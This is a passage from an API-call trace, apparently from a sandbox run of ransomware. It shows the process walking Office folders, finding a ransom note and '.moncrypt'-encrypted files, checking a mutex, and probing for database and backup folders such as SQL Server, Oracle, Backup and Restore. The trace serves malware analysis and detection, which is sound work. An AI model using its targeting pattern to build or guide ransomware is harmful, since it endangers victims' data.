lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3de3cbc0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3de3cbc0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.005] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.005] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.005] GlobalLock (hMem=0x440004) returned 0x555568 [0048.005] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.005] GlobalUnlock (hMem=0x440004) returned 0 [0048.005] GlobalLock (hMem=0x440004) returned 0x555568 [0048.005] GlobalLock (hMem=0x44000c) returned 0x557578 [0048.005] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.005] GlobalUnlock (hMem=0x440004) returned 0 [0048.005] GlobalHandle (pMem=0x557578) returned 0x44000c [0048.005] GlobalUnlock (hMem=0x44000c) returned 0 [0048.005] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.006] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3de3cbc0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3de3cbc0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.006] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.006] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.006] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.006] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.006] GlobalUnlock (hMem=0x44000c) returned 0 [0048.006] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.006] GlobalLock (hMem=0x440004) returned 0x557578 [0048.006] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.006] GlobalUnlock (hMem=0x44000c) returned 0 [0048.006] GlobalHandle (pMem=0x557578) returned 0x440004 [0048.006] GlobalUnlock (hMem=0x440004) returned 0 [0048.006] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.006] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de16a60, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3de16a60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3de16a60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.006] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.006] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.006] GlobalLock (hMem=0x440004) returned 0x555568 [0048.006] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.006] GlobalUnlock (hMem=0x440004) returned 0 [0048.006] GlobalLock (hMem=0x440004) returned 0x555568 [0048.006] GlobalLock (hMem=0x44000c) returned 0x557578 [0048.006] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.006] GlobalUnlock (hMem=0x440004) returned 0 [0048.006] GlobalHandle (pMem=0x557578) returned 0x44000c [0048.006] GlobalUnlock (hMem=0x44000c) returned 0 [0048.006] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.006] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML.moncrypt", cAlternateFileName="INFOPA~1.MON")) returned 1 [0048.006] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.006] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.007] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.007] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.007] GlobalUnlock (hMem=0x44000c) returned 0 [0048.007] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.007] GlobalLock (hMem=0x440004) returned 0x557578 [0048.007] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.007] GlobalUnlock (hMem=0x44000c) returned 0 [0048.007] GlobalHandle (pMem=0x557578) returned 0x440004 [0048.007] GlobalUnlock (hMem=0x440004) returned 0 [0048.007] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.007] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0048.007] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.007] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.007] GlobalLock (hMem=0x440004) returned 0x555568 [0048.007] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.007] GlobalUnlock (hMem=0x440004) returned 0 [0048.007] GlobalLock (hMem=0x440004) returned 0x555568 [0048.007] GlobalLock (hMem=0x44000c) returned 0x557578 [0048.007] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.007] GlobalUnlock (hMem=0x440004) returned 0 [0048.007] GlobalHandle (pMem=0x557578) returned 0x44000c [0048.007] GlobalUnlock (hMem=0x44000c) returned 0 [0048.007] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.007] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 0 [0048.007] GetLastError () returned 0x12 [0048.007] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.008] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.008] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.008] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.008] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.008] GlobalUnlock (hMem=0x44000c) returned 0 [0048.008] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.008] GlobalLock (hMem=0x440004) returned 0x557578 [0048.008] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.008] GlobalUnlock (hMem=0x44000c) returned 0 [0048.008] GlobalHandle (pMem=0x557578) returned 0x440004 [0048.008] GlobalUnlock (hMem=0x440004) returned 0 [0048.008] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.008] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0048.008] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.008] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.008] GlobalLock (hMem=0x440004) returned 0x555568 [0048.008] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.008] GlobalUnlock (hMem=0x440004) returned 0 [0048.008] GlobalLock (hMem=0x440004) returned 0x555568 [0048.008] GlobalLock (hMem=0x44000c) returned 0x557578 [0048.008] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.008] GlobalUnlock (hMem=0x440004) returned 0 [0048.008] GlobalHandle (pMem=0x557578) returned 0x44000c [0048.008] GlobalUnlock (hMem=0x44000c) returned 0 [0048.008] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.008] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.008] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.008] GlobalUnlock (hMem=0x44000c) returned 0 [0048.009] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.009] GlobalLock (hMem=0x440004) returned 0x557578 [0048.009] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.009] GlobalUnlock (hMem=0x44000c) returned 0 [0048.009] GlobalHandle (pMem=0x557578) returned 0x440004 [0048.009] GlobalUnlock (hMem=0x440004) returned 0 [0048.009] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.009] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us", len=0x5c | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us") returned 1 [0048.009] GlobalLock (hMem=0x440004) returned 0x555568 [0048.009] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.009] GlobalUnlock (hMem=0x440004) returned 0 [0048.009] GlobalLock (hMem=0x440004) returned 0x555568 [0048.009] GlobalLock (hMem=0x44000c) returned 0x557578 [0048.009] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.009] GlobalUnlock (hMem=0x440004) returned 0 [0048.009] GlobalHandle (pMem=0x557578) returned 0x44000c [0048.009] GlobalUnlock (hMem=0x44000c) returned 0 [0048.009] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69988, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@育R肆R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0048.012] GetLastError () returned 0x3 [0048.012] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69988, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@翌R企@\x18㿬Q\x181")) returned 0xffffffff [0048.013] GetLastError () returned 0x2 [0048.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69988, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@∜R企@\x18?T\x18;")) returned 0xffffffff [0048.014] GetLastError () returned 0x2 [0048.014] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69988, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@ꠜR企@\x18?T\x18D")) returned 0xffffffff [0048.016] GetLastError () returned 0x2 [0048.016] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69988, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@翌R企@\x18∜R\x18j")) returned 0xffffffff [0048.017] GetLastError () returned 0x2 [0048.017] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69988, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@⭌R企@\x18?T\x18q")) returned 0xffffffff [0048.018] GetLastError () returned 0x2 [0048.018] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69988, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@卜U企@\x18?T\x18y")) returned 0xffffffff [0048.020] GetLastError () returned 0x2 [0048.020] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69988, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@翌R企@\x18?T\x18\x81")) returned 0xffffffff [0048.021] GetLastError () returned 0x2 [0048.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69988, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@ꠜR企@\x18?T\x18\x88")) returned 0xffffffff [0048.022] GetLastError () returned 0x2 [0048.022] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69988, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@卜U企@\x18?T\x18\x8f")) returned 0xffffffff [0048.024] GetLastError () returned 0x2 [0048.024] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69988, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@翌R企@\x18?T\x18\x97")) returned 0xffffffff [0048.025] GetLastError () returned 0x2 [0048.025] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.025] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.025] GlobalUnlock (hMem=0x44000c) returned 0 [0048.025] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.025] GlobalLock (hMem=0x440004) returned 0x557578 [0048.025] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.025] GlobalUnlock (hMem=0x44000c) returned 0 [0048.025] GlobalHandle (pMem=0x557578) returned 0x440004 [0048.025] GlobalUnlock (hMem=0x440004) returned 0 [0048.025] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.025] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.025] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.025] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699d8, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.026] GlobalLock (hMem=0x440004) returned 0x555568 [0048.026] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.026] GlobalUnlock (hMem=0x440004) returned 0 [0048.026] GlobalLock (hMem=0x440004) returned 0x555568 [0048.026] GlobalLock (hMem=0x44000c) returned 0x557578 [0048.026] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.026] GlobalUnlock (hMem=0x440004) returned 0 [0048.026] GlobalHandle (pMem=0x557578) returned 0x44000c [0048.026] GlobalUnlock (hMem=0x44000c) returned 0 [0048.026] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.026] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.026] GlobalUnlock (hMem=0x44000c) returned 0 [0048.026] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.026] GlobalLock (hMem=0x440004) returned 0x557578 [0048.026] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.026] GlobalUnlock (hMem=0x44000c) returned 0 [0048.026] GlobalHandle (pMem=0x557578) returned 0x440004 [0048.026] GlobalUnlock (hMem=0x440004) returned 0 [0048.026] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.027] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.027] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0048.027] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.027] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.027] GlobalLock (hMem=0x440004) returned 0x555568 [0048.027] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.027] GlobalUnlock (hMem=0x440004) returned 0 [0048.027] GlobalLock (hMem=0x440004) returned 0x555568 [0048.027] GlobalLock (hMem=0x44000c) returned 0x557578 [0048.027] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.027] GlobalUnlock (hMem=0x440004) returned 0 [0048.027] GlobalHandle (pMem=0x557578) returned 0x44000c [0048.027] GlobalUnlock (hMem=0x44000c) returned 0 [0048.027] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.027] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.027] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.027] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.027] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.027] GlobalUnlock (hMem=0x44000c) returned 0 [0048.028] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.028] GlobalLock (hMem=0x440004) returned 0x557578 [0048.028] GlobalHandle (pMem=0x555568) returned 0x44000c 